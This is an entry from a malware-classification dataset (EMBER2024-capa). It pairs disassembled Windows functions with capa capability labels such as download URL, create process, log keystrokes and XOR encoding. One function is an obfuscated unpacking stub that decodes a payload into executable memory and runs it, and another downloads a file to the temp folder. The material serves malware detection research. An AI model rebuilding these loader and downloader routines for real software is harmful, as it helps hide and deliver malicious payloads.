joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100031e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x1002746c
call fcn.1000ba09
mov ebx, eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x10003294
test esi, esi
jne 0x10003294
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, eax
test edi, edi
je 0x10003278
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10003272
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10003272
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x10003261
cmp esi, eax
jae 0x10003265
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10003253
cmp esi, eax
jb 0x10003269
xor eax, eax
jmp 0x10003272
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
test eax, eax
jne 0x1000329d
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x1002746c
call fcn.1000ba09
mov ebx, eax
inc edi
mov dword [ebp - 4], edi
test ebx, ebx
jne 0x10003205
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003380
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10003398
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100033ca
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x100033c6
cmp esi, eax
jae 0x100033ca
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x100033b8
cmp esi, eax
jb 0x100033d0
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret
Function at 0x10006290
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push str.GetNativeSystemInfo
push 0x1002243c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x100062bc
mov ecx, dword [ebp + 8]
push ecx
call eax
jmp 0x100062c6
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebx + 0x10], 2
jne 0x10006316
cmp dword [ebx + 4], 4
jbe 0x10006316
push str.GetProductInfo
push str.kernel32.dll
call esi
push eax
call edi
test eax, eax
je 0x10006302
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebx + 8]
push ecx
mov ecx, dword [ebx + 4]
push 0
push 0
push edx
push ecx
call eax
pop edi
mov eax, 1
pop esi
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
pop edi
mov dword [edx], 0
mov eax, 1
pop esi
pop ebp
ret 8
pop edi
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x10006fe0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d7b8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push edi
mov eax, dword [0x100260b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov eax, dword [0x10026038]
mov edx, dword [eax + 0xc]
mov ecx, 0x10026038
call edx
add eax, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov edx, str.SoftwareAppDataLowSoftware_
cmp al, 5
ja 0x10007036
mov edx, str.Software_
mov eax, edx
lea edi, [eax + 2]
jmp 0x10007040
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x10007040
sub eax, edi
sar eax, 1
push edx
mov edi, eax
lea ebx, [ebp - 0x10]
call fcn.10002d10
mov eax, dword [ebp + 8]
add eax, 0x60
push eax
push esi
call fcn.10002ab0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
add esp, 8
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10007090
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10009430
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d583
mov eax, dword fs:[0]
push eax
sub esp, 0x118
mov eax, dword [0x100260b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov dword [ebp - 0x124], ebx
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
push 0x100216ac
xor edi, edi
mov byte [ebp - 4], 1
call fcn.10002d10
mov ebx, dword [ebp + 8]
push esi
lea eax, [ebp - 0x120]
push eax
mov eax, dword [ebp + 0x10]
call fcn.100099f0
test eax, eax
je 0x100094e4
mov eax, dword [ebp - 0x120]
test eax, eax
je 0x100094b7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x100094dd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor al, al
jmp 0x1000956b
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x120]
push 0x80
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
test eax, eax
je 0x1000950c
test esi, esi
je 0x100094b7
push esi
jmp 0x100094b1
lea eax, [ebp - 0x114]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10009515
mov ebx, dword [ebp - 0x124]
sub eax, edx
sar eax, 1
lea ecx, [ebp - 0x114]
push ecx
mov edi, eax
call fcn.10002d10
test esi, esi
je 0x10009543
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x10009569
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bb4c
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000a6c0
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d4fe
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x100260b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x42c], ebx
lea eax, [ebp - 0x428]
push eax
push 0x104
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x21c]
push ecx
push ebx
push 0x100214b0
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edx, dword [0x10026038]
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x430], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x10026038
call eax
add eax, 0x10
mov dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 1
test ecx, 0xffff0000
jne 0x1000a77d
mov edx, ecx
movzx edi, dx
push edi
call fcn.100031e0
add esp, 4
cmp eax, ebx
je 0x1000a7a9
push eax
mov eax, edi
lea edi, [ebp - 0x42c]
call fcn.10002f40
jmp 0x1000a7a9
lea eax, [ebp - 0x21c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1000a786
sub eax, edx
sar eax, 1
lea ecx, [ebp - 0x21c]
push ecx
mov edi, eax
lea ebx, [ebp - 0x42c]
call fcn.10002d10
mov byte [ebp - 4], 2
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.10002e20
push 0
push 0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x42c]
push edx
lea edi, [eax + 0x10]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
lea eax, [edi - 0x10]
or edi, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a7f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x42c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, edi
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1000a814
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push esi
mov ecx, 0x100214b8
test ebx, ebx
jne 0x1000a823
mov ecx, 0x100214bc
call fcn.10003ce0
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edi
dec edi
test edi, edi
jg 0x1000a847
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bb4c
mov esp, ebp
pop ebp
ret
Function at 0x1000bb4c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100260b0]
jne 0x1000bb56
repz ret
jmp fcn.1000de3a

Function at 0x10017cb8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100260b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000f0f3
and dword [ebp - 0x14], 0
cmp dword [0x10028164], 0
mov dword [ebp - 0x18], eax
jne 0x10017d6b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10017e13
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10017e13
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10028164], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10028168], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1002816c], eax
call edi
push eax
call esi
mov dword [0x10028174], eax
test eax, eax
je 0x10017d6b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10028170], eax
mov eax, dword [0x10028170]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10017dc4
cmp dword [0x10028174], ecx
je 0x10017dc4
push eax
call esi
push dword [0x10028174]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10017dc4
test ebx, ebx
je 0x10017dc4
call edi
test eax, eax
je 0x10017dbb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10017dbb
test byte [ebp - 8], 1
jne 0x10017dc4
or dword [ebp + 0x10], 0x200000
jmp 0x10017df7
mov eax, dword [0x10028168]
cmp eax, dword [ebp - 0x18]
je 0x10017df7
push eax
call esi
test eax, eax
je 0x10017df7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10017df7
mov eax, dword [0x1002816c]
cmp eax, dword [ebp - 0x18]
je 0x10017df7
push eax
call esi
test eax, eax
je 0x10017df7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10028164]
call esi
test eax, eax
je 0x10017e13
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10017e15
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bb4c
leave
ret
Function at 0x10017ae1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10017af0
pop dword [ebp - 0x1c]
mov eax, 0x10017af0
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe110004a
add dword [ebp - 0x2c], 0x6d424501
mov dword [ebp - 0x28], 0xc2f01aac
add dword [ebp - 0x28], 0x6f433199
mov dword [ebp - 0x24], 0x8617132f
sub dword [ebp - 0x24], 0x39cacf01
mov dword [ebp - 0x20], 0x66a1e51b
add dword [ebp - 0x20], 0x995e1ae5
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xfdda4e4
sub eax, 0xffd953e0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x14ec02d4
sub dword [ebp - 0x2c], 0xa079997e
mov dword [ebp - 0x28], 0xcf1bfaa5
add dword [ebp - 0x28], 0x725066d0
mov dword [ebp - 0x24], 0xe5aff69e
add dword [ebp - 0x24], 0x7dbf75ce
mov dword [ebp - 0x20], 0xccd6a50b
add dword [ebp - 0x20], 0x33295af5
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xec8e9f9f
add eax, 0x2375b119
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x4ac92
push 0
call eax
mov ecx, 0x49b1
mov ebx, eax
mov edi, 0x10075000
add edi, dword [ebp - 0x1c]
mov edx, 0x15512860
sub dword [ebp - 8], edx
mov esi, dword [edi]
xor dword [ebp - 0x18], 0xb7220fd8
sub esi, edx
mov dword [ebp - 0x18], 0x34c6e3cb
mov dword [ebx], esi
xor dword [ebp - 8], edx
add ebx, 0x81e846e8
sub ebx, 0x81e846e4
add edi, 0x148fbf72
sub edi, 0x148fbf6e
loop 0x10017bfb
add eax, 0xa3bf2fe4
sub eax, 0xa3be164d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x406670
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
mov ebx, ecx
mov ecx, 0x51022b
push edi
mov dword [ebp - 0x18], ebx
call fcn.004b782d
mov edi, dword [ebx + 4]
lea eax, [ebp - 0x14]
push eax
or edi, 0x2001f
mov dword [ebp - 0xc], 0
push edi
push 0
push dword [ebp + 8]
mov dword [ebp - 8], 0
push dword [ebx]
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [ebp - 0xc]
test esi, esi
jne 0x406780
xor esi, esi
test eax, eax
je 0x4066e0
push eax
call ebx
mov esi, eax
mov eax, dword [ebp - 0x14]
and edi, 0x300
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
test esi, esi
jne 0x406780
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea ecx, [ebp - 0x20]
push ecx
push esi
push esi
push esi
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x100
push ecx
lea ecx, [ebp - 0x220]
push ecx
push esi
push eax
call edi
test eax, eax
jne 0x406758
nop
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0xc]
call fcn.00406670
mov esi, eax
test esi, esi
jne 0x40677d
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], 0x100
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x220]
push eax
push esi
push dword [ebp - 0xc]
call edi
test eax, eax
je 0x406720
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406769
push eax
call ebx
mov dword [ebp - 0xc], 0
push dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 8], 0
call fcn.00404d40
mov esi, eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406787
push eax
call ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407270
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dcd56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov ecx, 0x510279
mov dword [ebp - 0x10], 0
call fcn.004b782d
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x4e490c
call fcn.00403ac0
mov eax, dword [ebp + 8]
push ecx
mov esi, esp
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], esi
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00404990
add esp, 4
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0
call fcn.0040b650
mov ebx, dword [ebp - 0x20]
add esp, 0xc
sub ebx, dword [ebp - 0x24]
sar ebx, 2
call fcn.00405900
mov ecx, eax
test ecx, ecx
je 0x407480
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
xor edi, edi
mov byte [ebp - 4], 2
or ecx, 0xffffffff
test ebx, ebx
je 0x407410
nop
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + edi*4]
lea esi, [eax + edi*4]
mov eax, dword [ecx - 0xc]
test edi, edi
jne 0x4073dd
cmp eax, 1
jl 0x40748f
cmp word [ecx + 2], 0x3a
jne 0x40740a
mov ecx, dword [ecx - 0x10]
mov byte [ebp - 4], 4
test ecx, ecx
je 0x40736e
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, eax
test ecx, ecx
jne 0x407384
call fcn.00405900
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x10]
mov ecx, eax
test ecx, ecx
je 0x407480
mov eax, dword [ecx]
call dword [eax + 0xc]
or dword [ebp - 0x10], 1
add eax, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [esi]
push 1
push 0x4e4834
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00404a70
mov esi, dword [ebp - 0x14]
lea ecx, [ebp + 8]
add esp, 0x14
push dword [esi - 0xc]
push esi
call fcn.00404660
and dword [ebp - 0x10], 0xfffffffe
add esi, 0xfffffff0
mov byte [ebp - 4], 2
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407401
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x407401
push eax
push ecx
lea ecx, [ebp + 8]
call fcn.00404660
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x4e4834
lea ecx, [ebp + 8]
call fcn.00404660
inc edi
cmp edi, ebx
jb 0x407330
mov eax, dword [ebp + 8]
or ecx, 0xffffffff
mov byte [ebp - 4], 0
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407429
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x40746f
lea ecx, [ebp - 0x24]
push ecx
push dword [ebp - 0x20]
push eax
call fcn.004037c0
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
mov edx, dword [ebp - 0x24]
sub ecx, edx
and ecx, 0xfffffffc
mov eax, edx
cmp ecx, 0x1000
jb 0x407465
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40748a
push ecx
push edx
call fcn.004b781f
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00404870
call fcn.004be74f
push 0x80070057
call fcn.00404870
int3
Function at 0x407f70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dcead
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, 0x510279
mov dword [ebp - 4], 0
call fcn.004b782d
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x14], 1
push 0x4e4904
push eax
call fcn.00404460
add esp, 0xc
push 0x4e4904
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
push eax
call fcn.00404390
add esp, 0xc
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.00404150
mov edx, dword [ebp - 0x18]
or esi, 0xffffffff
mov byte [ebp - 4], 2
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408006
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
mov byte [ebp - 4], 1
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408024
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp byte [ebp + 0x1c], 0
mov ecx, 0x440
mov eax, 0x40
mov dword [ebp - 0x58], 0x3c
cmovne eax, ecx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], eax
mov ecx, 5
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0xc]
movlpd qword [ebp - 0x34], xmm0
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
xor eax, eax
cmp byte [ebp + 0x18], al
mov dword [ebp - 0x4c], 0
cmovne eax, ecx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x38], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x4080a7
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [edi], eax
cmp byte [ebp + 0x10], 0
je 0x4080c6
push dword [ebp + 0x20]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
add eax, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x4080e8
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408740
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4dcfe0
push eax
mov eax, 0x1008
mov dword fs:[0], esp
call fcn.004b7e10
mov ecx, 0x510279
mov dword [ebp - 0x14], 0
call fcn.004b782d
mov dword [ebp - 4], 1
call fcn.00405900
mov ecx, eax
test ecx, ecx
je 0x4088f1
mov eax, dword [ecx]
push edi
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
push 0x800
push 0
mov dword [ebp - 0x14], 2
mov dword [edi], eax
lea eax, [ebp - 0x814]
push eax
call fcn.004ba890
add esp, 0xc
lea eax, [ebp - 0x814]
push 0
push 2
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x408800
lea ecx, [ebp - 0x814]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4087d4
sub ecx, edx
lea eax, [ebp - 0x814]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.00406c80
push 1
push 0x4e4834
mov ecx, edi
call fcn.00404660
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4088e0
mov dword [ebp - 4], 2
call fcn.00405900
mov ecx, eax
test ecx, ecx
je 0x4088fb
mov eax, dword [ecx]
push esi
call dword [eax + 0xc]
push 0x800
push 0
mov dword [ebp - 0x14], 5
lea esi, [eax + 0x10]
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x10], esi
push eax
call fcn.004ba890
add esp, 0xc
lea eax, [ebp - 0x1014]
push 0
push 0x17
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x4088b1
lea ecx, [ebp - 0x1014]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408880
sub ecx, edx
lea eax, [ebp - 0x1014]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x10]
call fcn.00406c80
push 1
push 0x4e4834
lea ecx, [ebp - 0x10]
call fcn.00404660
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.00404150
mov dword [ebp - 0x14], 1
add esi, 0xfffffff0
mov byte [ebp - 4], 0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4088df
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
pop esi
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00404870
push 0x80004005
call fcn.00404870
int3